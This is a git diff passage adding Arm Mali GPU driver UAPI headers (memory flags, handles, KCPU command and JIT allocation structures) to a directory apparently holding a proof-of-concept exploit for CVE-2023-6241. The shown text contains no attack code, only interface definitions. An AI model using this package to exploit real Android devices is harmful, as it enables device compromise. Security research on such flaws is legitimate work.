Currently applicable to dma-buf type only. + */ +#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26) + +/* OUT */ +/* Kernel side cache sync ops required */ +#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28) + +/* Number of bits used as flags for base memory management + * + * Must be kept in sync with the base_mem_alloc_flags flags + */ +#define BASE_MEM_FLAGS_NR_BITS 30 + +/* A mask for all output bits, excluding IN/OUT bits. + */ +#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP + +/* A mask for all input bits, including IN/OUT bits. + */ +#define BASE_MEM_FLAGS_INPUT_MASK \ + (((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK) + +/* Special base mem handles. + */ +#define BASEP_MEM_INVALID_HANDLE (0ul) +#define BASE_MEM_MMU_DUMP_HANDLE (1ul << LOCAL_PAGE_SHIFT) +#define BASE_MEM_TRACE_BUFFER_HANDLE (2ul << LOCAL_PAGE_SHIFT) +#define BASE_MEM_MAP_TRACKING_HANDLE (3ul << LOCAL_PAGE_SHIFT) +#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE (4ul << LOCAL_PAGE_SHIFT) +/* reserved handles ..-47< for future special handles */ +#define BASE_MEM_COOKIE_BASE (64ul << LOCAL_PAGE_SHIFT) +#define BASE_MEM_FIRST_FREE_ADDRESS ((BITS_PER_LONG << LOCAL_PAGE_SHIFT) + BASE_MEM_COOKIE_BASE) + +/* Flags to pass to ::base_context_init. + * Flags can be ORed together to enable multiple things. + * + * These share the same space as BASEP_CONTEXT_FLAG_*, and so must + * not collide with them. + */ +typedef __u32 base_context_create_flags; + +/* Flags for base context */ + +/* No flags set */ +#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0) + +/* Base context is embedded in a cctx object (flag used for CINSTR + * software counter macros) + */ +#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0) + +/* Base context is a 'System Monitor' context for Hardware counters. + * + * One important side effect of this is that job submission is disabled. + */ +#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED ((base_context_create_flags)1 << 1) + +/* Bit-shift used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3) + +/* Bitmask used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \ + ((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT) + +/* Bitpattern describing the base_context_create_flags that can be + * passed to the kernel + */ +#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \ + (BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | BASEP_CONTEXT_MMU_GROUP_ID_MASK) + +/* Flags for base tracepoint + */ + +/* Enable additional tracepoints for latency measurements (TL_ATOM_READY, + * TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST) + */ +#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0) + +/* Indicate that job dumping is enabled. This could affect certain timers + * to account for the performance impact. + */ +#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1) + +#endif /* _UAPI_BASE_COMMON_KERNEL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_csf_kernel.h b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_csf_kernel.h new file mode 100644 index 0000000..141b090 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_csf_kernel.h @@ -0,0 +1,608 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2020-2023 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_BASE_CSF_KERNEL_H_ +#define _UAPI_BASE_CSF_KERNEL_H_ + +#include +#include "mali_base_common_kernel.h" + +/* Memory allocation, access/hint flags & mask specific to CSF GPU. + * + * See base_mem_alloc_flags. + */ + +/* Must be FIXED memory. */ +#define BASE_MEM_FIXED ((base_mem_alloc_flags)1 << 8) + +/* CSF event memory + * + * If Outer shareable coherence is not specified or not available, then on + * allocation kbase will automatically use the uncached GPU mapping. + * There is no need for the client to specify BASE_MEM_UNCACHED_GPU + * themselves when allocating memory with the BASE_MEM_CSF_EVENT flag. + * + * This memory requires a permanent mapping + * + * See also kbase_reg_needs_kernel_mapping() + */ +#define BASE_MEM_CSF_EVENT ((base_mem_alloc_flags)1 << 19) + +#define BASE_MEM_RESERVED_BIT_20 ((base_mem_alloc_flags)1 << 20) + + +/* Must be FIXABLE memory: its GPU VA will be determined at a later point, + * at which time it will be at a fixed GPU VA. + */ +#define BASE_MEM_FIXABLE ((base_mem_alloc_flags)1 << 29) + +/* Note that the number of bits used for base_mem_alloc_flags + * must be less than BASE_MEM_FLAGS_NR_BITS !!! + */ + +/* A mask of all the flags which are only valid for allocations within kbase, + * and may not be passed from user space. + */ +#define BASEP_MEM_FLAGS_KERNEL_ONLY \ + (BASEP_MEM_PERMANENT_KERNEL_MAPPING | BASEP_MEM_NO_USER_FREE) + +/* A mask of all currently reserved flags + */ +#define BASE_MEM_FLAGS_RESERVED BASE_MEM_RESERVED_BIT_20 + +/* Special base mem handles specific to CSF. + */ +#define BASEP_MEM_CSF_USER_REG_PAGE_HANDLE (47ul << LOCAL_PAGE_SHIFT) +#define BASEP_MEM_CSF_USER_IO_PAGES_HANDLE (48ul << LOCAL_PAGE_SHIFT) + +#define KBASE_CSF_NUM_USER_IO_PAGES_HANDLE \ + ((BASE_MEM_COOKIE_BASE - BASEP_MEM_CSF_USER_IO_PAGES_HANDLE) >> \ + LOCAL_PAGE_SHIFT) + +/* Valid set of just-in-time memory allocation flags */ +#define BASE_JIT_ALLOC_VALID_FLAGS ((__u8)0) + +/* flags for base context specific to CSF */ + +/* Base context creates a CSF event notification thread. + * + * The creation of a CSF event notification thread is conditional but + * mandatory for the handling of CSF events. + */ +#define BASE_CONTEXT_CSF_EVENT_THREAD ((base_context_create_flags)1 << 2) + +/* Bitpattern describing the ::base_context_create_flags that can be + * passed to base_context_init() + */ +#define BASEP_CONTEXT_CREATE_ALLOWED_FLAGS \ + (BASE_CONTEXT_CCTX_EMBEDDED | \ + BASE_CONTEXT_CSF_EVENT_THREAD | \ + BASEP_CONTEXT_CREATE_KERNEL_FLAGS) + +/* Flags for base tracepoint specific to CSF */ + +/* Enable KBase tracepoints for CSF builds */ +#define BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS (1 << 2) + +/* Enable additional CSF Firmware side tracepoints */ +#define BASE_TLSTREAM_ENABLE_CSFFW_TRACEPOINTS (1 << 3) + +#define BASE_TLSTREAM_FLAGS_MASK (BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS | \ + BASE_TLSTREAM_JOB_DUMPING_ENABLED | \ + BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS | \ + BASE_TLSTREAM_ENABLE_CSFFW_TRACEPOINTS) + +/* Number of pages mapped into the process address space for a bound GPU + * command queue. A pair of input/output pages and a Hw doorbell page + * are mapped to enable direct submission of commands to Hw. + */ +#define BASEP_QUEUE_NR_MMAP_USER_PAGES ((size_t)3) + +#define BASE_QUEUE_MAX_PRIORITY (15U) + +/* Sync32 object fields definition */ +#define BASEP_EVENT32_VAL_OFFSET (0U) +#define BASEP_EVENT32_ERR_OFFSET (4U) +#define BASEP_EVENT32_SIZE_BYTES (8U) + +/* Sync64 object fields definition */ +#define BASEP_EVENT64_VAL_OFFSET (0U) +#define BASEP_EVENT64_ERR_OFFSET (8U) +#define BASEP_EVENT64_SIZE_BYTES (16U) + +/* Sync32 object alignment, equal to its size */ +#define BASEP_EVENT32_ALIGN_BYTES (8U) + +/* Sync64 object alignment, equal to its size */ +#define BASEP_EVENT64_ALIGN_BYTES (16U) + +/* The upper limit for number of objects that could be waited/set per command. + * This limit is now enforced as internally the error inherit inputs are + * converted to 32-bit flags in a __u32 variable occupying a previously padding + * field. + */ +#define BASEP_KCPU_CQS_MAX_NUM_OBJS ((size_t)32) + +/* CSF CSI EXCEPTION_HANDLER_FLAGS */ +#define BASE_CSF_TILER_OOM_EXCEPTION_FLAG (1u << 0) +#define BASE_CSF_EXCEPTION_HANDLER_FLAGS_MASK (BASE_CSF_TILER_OOM_EXCEPTION_FLAG) + +/** + * enum base_kcpu_command_type - Kernel CPU queue command type. + * @BASE_KCPU_COMMAND_TYPE_FENCE_SIGNAL: fence_signal, + * @BASE_KCPU_COMMAND_TYPE_FENCE_WAIT: fence_wait, + * @BASE_KCPU_COMMAND_TYPE_CQS_WAIT: cqs_wait, + * @BASE_KCPU_COMMAND_TYPE_CQS_SET: cqs_set, + * @BASE_KCPU_COMMAND_TYPE_CQS_WAIT_OPERATION: cqs_wait_operation, + * @BASE_KCPU_COMMAND_TYPE_CQS_SET_OPERATION: cqs_set_operation, + * @BASE_KCPU_COMMAND_TYPE_MAP_IMPORT: map_import, + * @BASE_KCPU_COMMAND_TYPE_UNMAP_IMPORT: unmap_import, + * @BASE_KCPU_COMMAND_TYPE_UNMAP_IMPORT_FORCE: unmap_import_force, + * @BASE_KCPU_COMMAND_TYPE_JIT_ALLOC: jit_alloc, + * @BASE_KCPU_COMMAND_TYPE_JIT_FREE: jit_free, + * @BASE_KCPU_COMMAND_TYPE_GROUP_SUSPEND: group_suspend, + * @BASE_KCPU_COMMAND_TYPE_ERROR_BARRIER: error_barrier, + */ +enum base_kcpu_command_type { + BASE_KCPU_COMMAND_TYPE_FENCE_SIGNAL, + BASE_KCPU_COMMAND_TYPE_FENCE_WAIT, + BASE_KCPU_COMMAND_TYPE_CQS_WAIT, + BASE_KCPU_COMMAND_TYPE_CQS_SET, + BASE_KCPU_COMMAND_TYPE_CQS_WAIT_OPERATION, + BASE_KCPU_COMMAND_TYPE_CQS_SET_OPERATION, + BASE_KCPU_COMMAND_TYPE_MAP_IMPORT, + BASE_KCPU_COMMAND_TYPE_UNMAP_IMPORT, + BASE_KCPU_COMMAND_TYPE_UNMAP_IMPORT_FORCE, + BASE_KCPU_COMMAND_TYPE_JIT_ALLOC, + BASE_KCPU_COMMAND_TYPE_JIT_FREE, + BASE_KCPU_COMMAND_TYPE_GROUP_SUSPEND, + BASE_KCPU_COMMAND_TYPE_ERROR_BARRIER +}; + +/** + * enum base_queue_group_priority - Priority of a GPU Command Queue Group. + * @BASE_QUEUE_GROUP_PRIORITY_HIGH: GPU Command Queue Group is of high + * priority. + * @BASE_QUEUE_GROUP_PRIORITY_MEDIUM: GPU Command Queue Group is of medium + * priority. + * @BASE_QUEUE_GROUP_PRIORITY_LOW: GPU Command Queue Group is of low + * priority. + * @BASE_QUEUE_GROUP_PRIORITY_REALTIME: GPU Command Queue Group is of real-time + * priority. + * @BASE_QUEUE_GROUP_PRIORITY_COUNT: Number of GPU Command Queue Group + * priority levels. + * + * Currently this is in order of highest to lowest, but if new levels are added + * then those new levels may be out of order to preserve the ABI compatibility + * with previous releases. At that point, ensure assignment to + * the 'priority' member in &kbase_queue_group is updated to ensure it remains + * a linear ordering. + * + * There should be no gaps in the enum, otherwise use of + * BASE_QUEUE_GROUP_PRIORITY_COUNT in kbase must be updated. + */ +enum base_queue_group_priority { + BASE_QUEUE_GROUP_PRIORITY_HIGH = 0, + BASE_QUEUE_GROUP_PRIORITY_MEDIUM, + BASE_QUEUE_GROUP_PRIORITY_LOW, + BASE_QUEUE_GROUP_PRIORITY_REALTIME, + BASE_QUEUE_GROUP_PRIORITY_COUNT +}; + +struct base_kcpu_command_fence_info { + __u64 fence; +}; + +struct base_cqs_wait_info { + __u64 addr; + __u32 val; + __u32 padding; +}; + +struct base_kcpu_command_cqs_wait_info { + __u64 objs; + __u32 nr_objs; + __u32 inherit_err_flags; +}; + +struct base_cqs_set { + __u64 addr; +}; + +struct base_kcpu_command_cqs_set_info { + __u64 objs; + __u32 nr_objs; + __u32 padding; +}; + +/** + * typedef basep_cqs_data_type - Enumeration of CQS Data Types + * + * @BASEP_CQS_DATA_TYPE_U32: The Data Type of a CQS Object's value + * is an unsigned 32-bit integer + * @BASEP_CQS_DATA_TYPE_U64: The Data Type of a CQS Object's value + * is an unsigned 64-bit integer + */ +typedef enum PACKED { + BASEP_CQS_DATA_TYPE_U32 = 0, + BASEP_CQS_DATA_TYPE_U64 = 1, +} basep_cqs_data_type; + +/** + * typedef basep_cqs_wait_operation_op - Enumeration of CQS Object Wait + * Operation conditions + * + * @BASEP_CQS_WAIT_OPERATION_LE: CQS Wait Operation indicating that a + * wait will be satisfied when a CQS Object's + * value is Less than or Equal to + * the Wait Operation value + * @BASEP_CQS_WAIT_OPERATION_GT: CQS Wait Operation indicating that a + * wait will be satisfied when a CQS Object's + * value is Greater than the Wait Operation value + */ +typedef enum { + BASEP_CQS_WAIT_OPERATION_LE = 0, + BASEP_CQS_WAIT_OPERATION_GT = 1, +} basep_cqs_wait_operation_op; + +struct base_cqs_wait_operation_info { + __u64 addr; + __u64 val; + __u8 operation; + __u8 data_type; + __u8 padding[6]; +}; + +/** + * struct base_kcpu_command_cqs_wait_operation_info - structure which contains information + * about the Timeline CQS wait objects + * + * @objs: An array of Timeline CQS waits. + * @nr_objs: Number of Timeline CQS waits in the array. + * @inherit_err_flags: Bit-pattern for the CQSs in the array who's error field + * to be served as the source for importing into the + * queue's error-state. + */ +struct base_kcpu_command_cqs_wait_operation_info { + __u64 objs; + __u32 nr_objs; + __u32 inherit_err_flags; +}; + +/** + * typedef basep_cqs_set_operation_op - Enumeration of CQS Set Operations + * + * @BASEP_CQS_SET_OPERATION_ADD: CQS Set operation for adding a value + * to a synchronization object + * @BASEP_CQS_SET_OPERATION_SET: CQS Set operation for setting the value + * of a synchronization object + */ +typedef enum { + BASEP_CQS_SET_OPERATION_ADD = 0, + BASEP_CQS_SET_OPERATION_SET = 1, +} basep_cqs_set_operation_op; + +struct base_cqs_set_operation_info { + __u64 addr; + __u64 val; + __u8 operation; + __u8 data_type; + __u8 padding[6]; +}; + +/** + * struct base_kcpu_command_cqs_set_operation_info - structure which contains information + * about the Timeline CQS set objects + * + * @objs: An array of Timeline CQS sets. + * @nr_objs: Number of Timeline CQS sets in the array. + * @padding: Structure padding, unused bytes. + */ +struct base_kcpu_command_cqs_set_operation_info { + __u64 objs; + __u32 nr_objs; + __u32 padding; +}; + +/** + * struct base_kcpu_command_import_info - structure which contains information + * about the imported buffer. + * + * @handle: Address of imported user buffer. + */ +struct base_kcpu_command_import_info { + __u64 handle; +}; + +/** + * struct base_kcpu_command_jit_alloc_info - structure which contains + * information about jit memory allocation. + * + * @info: An array of elements of the + * struct base_jit_alloc_info type. + * @count: The number of elements in the info array. + * @padding: Padding to a multiple of 64 bits. + */ +struct base_kcpu_command_jit_alloc_info { + __u64 info; + __u8 count; + __u8 padding[7]; +}; + +/** + * struct base_kcpu_command_jit_free_info - structure which contains + * information about jit memory which is to be freed. + * + * @ids: An array containing the JIT IDs to free. + * @count: The number of elements in the ids array. + * @padding: Padding to a multiple of 64 bits. + */ +struct base_kcpu_command_jit_free_info { + __u64 ids; + __u8 count; + __u8 padding[7]; +}; + +/** + * struct base_kcpu_command_group_suspend_info - structure which contains + * suspend buffer data captured for a suspended queue group. + * + * @buffer: Pointer to an array of elements of the type char. + * @size: Number of elements in the @buffer array. + * @group_handle: Handle to the mapping of CSG. + * @padding: padding to a multiple of 64 bits. + */ +struct base_kcpu_command_group_suspend_info { + __u64 buffer; + __u32 size; + __u8 group_handle; + __u8 padding[3]; +}; + + +/** + * struct base_kcpu_command - kcpu command. + * @type: type of the kcpu command, one enum base_kcpu_command_type + * @padding: padding to a multiple of 64 bits + * @info: structure which contains information about the kcpu command; + * actual type is determined by @p type + * @info.fence: Fence + * @info.cqs_wait: CQS wait + * @info.cqs_set: CQS set + * @info.cqs_wait_operation: CQS wait operation + * @info.cqs_set_operation: CQS set operation + * @info.import: import + * @info.jit_alloc: JIT allocation + * @info.jit_free: JIT deallocation + * @info.suspend_buf_copy: suspend buffer copy + * @info.sample_time: sample time + * @info.padding: padding + */ +struct base_kcpu_command { + __u8 type; + __u8 padding[sizeof(__u64) - sizeof(__u8)]; + union { + struct base_kcpu_command_fence_info fence; + struct base_kcpu_command_cqs_wait_info cqs_wait; + struct base_kcpu_command_cqs_set_info cqs_set; + struct base_kcpu_command_cqs_wait_operation_info cqs_wait_operation; + struct base_kcpu_command_cqs_set_operation_info cqs_set_operation; + struct base_kcpu_command_import_info import; + struct base_kcpu_command_jit_alloc_info jit_alloc; + struct base_kcpu_command_jit_free_info jit_free; + struct base_kcpu_command_group_suspend_info suspend_buf_copy; + __u64 padding[2]; /* No sub-struct should be larger */ + } info; +}; + +/** + * struct basep_cs_stream_control - CSI capabilities. + * + * @features: Features of this stream + * @padding: Padding to a multiple of 64 bits. + */ +struct basep_cs_stream_control { + __u32 features; + __u32 padding; +}; + +/** + * struct basep_cs_group_control - CSG interface capabilities. + * + * @features: Features of this group + * @stream_num: Number of streams in this group + * @suspend_size: Size in bytes of the suspend buffer for this group + * @padding: Padding to a multiple of 64 bits. + */ +struct basep_cs_group_control { + __u32 features; + __u32 stream_num; + __u32 suspend_size; + __u32 padding; +}; + +/** + * struct base_gpu_queue_group_error_fatal_payload - Unrecoverable fault + * error information associated with GPU command queue group. + * + * @sideband: Additional information of the unrecoverable fault. + * @status: Unrecoverable fault information. + * This consists of exception type (least significant byte) and + * data (remaining bytes). One example of exception type is + * CS_INVALID_INSTRUCTION (0x49). + * @padding: Padding to make multiple of 64bits + */ +struct base_gpu_queue_group_error_fatal_payload { + __u64 sideband; + __u32 status; + __u32 padding; +}; + +/** + * struct base_gpu_queue_error_fatal_payload - Unrecoverable fault + * error information related to GPU command queue. + * + * @sideband: Additional information about this unrecoverable fault. + * @status: Unrecoverable fault information. + * This consists of exception type (least significant byte) and + * data (remaining bytes). One example of exception type is + * CS_INVALID_INSTRUCTION (0x49). + * @csi_index: Index of the CSF interface the queue is bound to. + * @padding: Padding to make multiple of 64bits + */ +struct base_gpu_queue_error_fatal_payload { + __u64 sideband; + __u32 status; + __u8 csi_index; + __u8 padding[3]; +}; + +/** + * enum base_gpu_queue_group_error_type - GPU Fatal error type. + * + * @BASE_GPU_QUEUE_GROUP_ERROR_FATAL: Fatal error associated with GPU + * command queue group. + * @BASE_GPU_QUEUE_GROUP_QUEUE_ERROR_FATAL: Fatal error associated with GPU + * command queue. + * @BASE_GPU_QUEUE_GROUP_ERROR_TIMEOUT: Fatal error associated with + * progress timeout. + * @BASE_GPU_QUEUE_GROUP_ERROR_TILER_HEAP_OOM: Fatal error due to running out + * of tiler heap memory. + * @BASE_GPU_QUEUE_GROUP_ERROR_FATAL_COUNT: The number of fatal error types + * + * This type is used for &struct_base_gpu_queue_group_error.error_type. + */ +enum base_gpu_queue_group_error_type { + BASE_GPU_QUEUE_GROUP_ERROR_FATAL = 0, + BASE_GPU_QUEUE_GROUP_QUEUE_ERROR_FATAL, + BASE_GPU_QUEUE_GROUP_ERROR_TIMEOUT, + BASE_GPU_QUEUE_GROUP_ERROR_TILER_HEAP_OOM, + BASE_GPU_QUEUE_GROUP_ERROR_FATAL_COUNT +}; + +/** + * struct base_gpu_queue_group_error - Unrecoverable fault information + * @error_type: Error type of @base_gpu_queue_group_error_type + * indicating which field in union payload is filled + * @padding: Unused bytes for 64bit boundary + * @payload: Input Payload + * @payload.fatal_group: Unrecoverable fault error associated with + * GPU command queue group + * @payload.fatal_queue: Unrecoverable fault error associated with command queue + */ +struct base_gpu_queue_group_error { + __u8 error_type; + __u8 padding[7]; + union { + struct base_gpu_queue_group_error_fatal_payload fatal_group; + struct base_gpu_queue_error_fatal_payload fatal_queue; + } payload; +}; + +/** + * enum base_csf_notification_type - Notification type + * + * @BASE_CSF_NOTIFICATION_EVENT: Notification with kernel event + * @BASE_CSF_NOTIFICATION_GPU_QUEUE_GROUP_ERROR: Notification with GPU fatal + * error + * @BASE_CSF_NOTIFICATION_CPU_QUEUE_DUMP: Notification with dumping cpu + * queue + * @BASE_CSF_NOTIFICATION_COUNT: The number of notification type + * + * This type is used for &struct_base_csf_notification.type. + */ +enum base_csf_notification_type { + BASE_CSF_NOTIFICATION_EVENT = 0, + BASE_CSF_NOTIFICATION_GPU_QUEUE_GROUP_ERROR, + BASE_CSF_NOTIFICATION_CPU_QUEUE_DUMP, + BASE_CSF_NOTIFICATION_COUNT +}; + +/** + * struct base_csf_notification - Event or error notification + * + * @type: Notification type of @base_csf_notification_type + * @padding: Padding for 64bit boundary + * @payload: Input Payload + * @payload.align: To fit the struct into a 64-byte cache line + * @payload.csg_error: CSG error + * @payload.csg_error.handle: Handle of GPU command queue group associated with + * fatal error + * @payload.csg_error.padding: Padding + * @payload.csg_error.error: Unrecoverable fault error + * + */ +struct base_csf_notification { + __u8 type; + __u8 padding[7]; + union { + struct { + __u8 handle; + __u8 padding[7]; + struct base_gpu_queue_group_error error; + } csg_error; + + __u8 align[56]; + } payload; +}; + +/** + * struct mali_base_gpu_core_props - GPU core props info + * + * @product_id: Pro specific value. + * @version_status: Status of the GPU release. No defined values, but starts at + * 0 and increases by one for each release status (alpha, beta, EAC, etc.). + * 4 bit values (0-15). + * @minor_revision: Minor release number of the GPU. "P" part of an "RnPn" + * release number. + * 8 bit values (0-255). + * @major_revision: Major release number of the GPU. "R" part of an "RnPn" + * release number. + * 4 bit values (0-15). + * @padding: padding to align to 8-byte + * @gpu_freq_khz_max: The maximum GPU frequency. Reported to applications by + * clGetDeviceInfo() + * @log2_program_counter_size: Size of the shader program counter, in bits. + * @texture_features: TEXTURE_FEATURES_x registers, as exposed by the GPU. This + * is a bitpattern where a set bit indicates that the format is supported. + * Before using a texture format, it is recommended that the corresponding + * bit be checked. + * @gpu_available_memory_size: Theoretical maximum memory available to the GPU. + * It is unlikely that a client will be able to allocate all of this memory + * for their own purposes, but this at least provides an upper bound on the + * memory available to the GPU. + * This is required for OpenCL's clGetDeviceInfo() call when + * CL_DEVICE_GLOBAL_MEM_SIZE is requested, for OpenCL GPU devices. The + * client will not be expecting to allocate anywhere near this value. + */ +struct mali_base_gpu_core_props { + __u32 product_id; + __u16 version_status; + __u16 minor_revision; + __u16 major_revision; + __u16 padding; + __u32 gpu_freq_khz_max; + __u32 log2_program_counter_size; + __u32 texture_features[BASE_GPU_NUM_TEXTURE_FEATURES_REGISTERS]; + __u64 gpu_available_memory_size; +}; + +#endif /* _UAPI_BASE_CSF_KERNEL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_kernel.h b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_kernel.h new file mode 100644 index 0000000..c0b4d50 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_base_kernel.h @@ -0,0 +1,287 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2010-2022 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +/* + * Base structures shared with the kernel. + */ + +#ifndef _UAPI_BASE_KERNEL_H_ +#define _UAPI_BASE_KERNEL_H_ + +#include + +#define BASE_MAX_COHERENT_GROUPS 16 + +/* Physical memory group ID for normal usage. + */ +#define BASE_MEM_GROUP_DEFAULT (0) + +/* Physical memory group ID for explicit SLC allocations. + */ +#define BASE_MEM_GROUP_PIXEL_SLC_EXPLICIT (2) + +/* Number of physical memory groups. + */ +#define BASE_MEM_GROUP_COUNT (16) + +/** + * typedef base_mem_alloc_flags - Memory allocation, access/hint flags. + * + * A combination of MEM_PROT/MEM_HINT flags must be passed to each allocator + * in order to determine the best cache policy. Some combinations are + * of course invalid (e.g. MEM_PROT_CPU_WR | MEM_HINT_CPU_RD), + * which defines a write-only region on the CPU side, which is + * heavily read by the CPU... + * Other flags are only meaningful to a particular allocator. + * More flags can be added to this list, as long as they don't clash + * (see BASE_MEM_FLAGS_NR_BITS for the number of the first free bit). + */ +typedef __u32 base_mem_alloc_flags; + + +struct base_mem_handle { + struct { + __u64 handle; + } basep; +}; + +/** + * enum base_mem_import_type - Memory types supported by @a base_mem_import + * + * @BASE_MEM_IMPORT_TYPE_INVALID: Invalid type + * @BASE_MEM_IMPORT_TYPE_UMM: UMM import. Handle type is a file descriptor (int) + * @BASE_MEM_IMPORT_TYPE_USER_BUFFER: User buffer import. Handle is a + * base_mem_import_user_buffer + * + * Each type defines what the supported handle type is. + * + * If any new type is added here ARM must be contacted + * to allocate a numeric value for it. + * Do not just add a new type without synchronizing with ARM + * as future releases from ARM might include other new types + * which could clash with your custom types. + */ +enum base_mem_import_type { + BASE_MEM_IMPORT_TYPE_INVALID = 0, + /* + * Import type with value 1 is deprecated. + */ + BASE_MEM_IMPORT_TYPE_UMM = 2, + BASE_MEM_IMPORT_TYPE_USER_BUFFER = 3 +}; + +/** + * struct base_mem_import_user_buffer - Handle of an imported user buffer + * + * @ptr: address of imported user buffer + * @length: length of imported user buffer in bytes + * + * This structure is used to represent a handle of an imported user buffer. + */ + +struct base_mem_import_user_buffer { + __u64 ptr; + __u64 length; +}; + +/* + * struct base_fence - Cross-device synchronisation fence. + * + * A fence is used to signal when the GPU has finished accessing a resource that + * may be shared with other devices, and also to delay work done asynchronously + * by the GPU until other devices have finished accessing a shared resource. + */ +struct base_fence { + struct { + int fd; + int stream_fd; + } basep; +}; + +/** + * struct base_mem_aliasing_info - Memory aliasing info + * + * @handle: Handle to alias, can be BASE_MEM_WRITE_ALLOC_PAGES_HANDLE + * @offset: Offset within the handle to start aliasing from, in pages. + * Not used with BASE_MEM_WRITE_ALLOC_PAGES_HANDLE. + * @length: Length to alias, in pages. For BASE_MEM_WRITE_ALLOC_PAGES_HANDLE + * specifies the number of times the special page is needed. + * + * Describes a memory handle to be aliased. + * A subset of the handle can be chosen for aliasing, given an offset and a + * length. + * A special handle BASE_MEM_WRITE_ALLOC_PAGES_HANDLE is used to represent a + * region where a special page is mapped with a write-alloc cache setup, + * typically used when the write result of the GPU isn't needed, but the GPU + * must write anyway. + * + * Offset and length are specified in pages. + * Offset must be within the size of the handle. + * Offset+length must not overrun the size of the handle. + */ +struct base_mem_aliasing_info { + struct base_mem_handle handle; + __u64 offset; + __u64 length; +}; + +/* Maximum percentage of just-in-time memory allocation trimming to perform + * on free. + */ +#define BASE_JIT_MAX_TRIM_LEVEL (100) + +/* Maximum number of concurrent just-in-time memory allocations. + */ +#define BASE_JIT_ALLOC_COUNT (255) + +/* base_jit_alloc_info in use for kernel driver versions 10.2 to early 11.5 + * + * jit_version is 1 + * + * Due to the lack of padding specified, user clients between 32 and 64-bit + * may have assumed a different size of the struct + * + * An array of structures was not supported + */ +struct base_jit_alloc_info_10_2 { + __u64 gpu_alloc_addr; + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u8 id; +}; + +/* base_jit_alloc_info introduced by kernel driver version 11.5, and in use up + * to 11.19 + * + * This structure had a number of modifications during and after kernel driver + * version 11.5, but remains size-compatible throughout its version history, and + * with earlier variants compatible with future variants by requiring + * zero-initialization to the unused space in the structure. + * + * jit_version is 2 + * + * Kernel driver version history: + * 11.5: Initial introduction with 'usage_id' and padding[5]. All padding bytes + * must be zero. Kbase minor version was not incremented, so some + * versions of 11.5 do not have this change. + * 11.5: Added 'bin_id' and 'max_allocations', replacing 2 padding bytes (Kbase + * minor version not incremented) + * 11.6: Added 'flags', replacing 1 padding byte + * 11.10: Arrays of this structure are supported + */ +struct base_jit_alloc_info_11_5 { + __u64 gpu_alloc_addr; + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u8 id; + __u8 bin_id; + __u8 max_allocations; + __u8 flags; + __u8 padding[2]; + __u16 usage_id; +}; + +/** + * struct base_jit_alloc_info - Structure which describes a JIT allocation + * request. + * @gpu_alloc_addr: The GPU virtual address to write the JIT + * allocated GPU virtual address to. + * @va_pages: The minimum number of virtual pages required. + * @commit_pages: The minimum number of physical pages which + * should back the allocation. + * @extension: Granularity of physical pages to grow the + * allocation by during a fault. + * @id: Unique ID provided by the caller, this is used + * to pair allocation and free requests. + * Zero is not a valid value. + * @bin_id: The JIT allocation bin, used in conjunction with + * @max_allocations to limit the number of each + * type of JIT allocation. + * @max_allocations: The maximum number of allocations allowed within + * the bin specified by @bin_id. Should be the same + * for all allocations within the same bin. + * @flags: flags specifying the special requirements for + * the JIT allocation, see + * %BASE_JIT_ALLOC_VALID_FLAGS + * @padding: Expansion space - should be initialised to zero + * @usage_id: A hint about which allocation should be reused. + * The kernel should attempt to use a previous + * allocation with the same usage_id + * @heap_info_gpu_addr: Pointer to an object in GPU memory describing + * the actual usage of the region. + * + * jit_version is 3. + * + * When modifications are made to this structure, it is still compatible with + * jit_version 3 when: 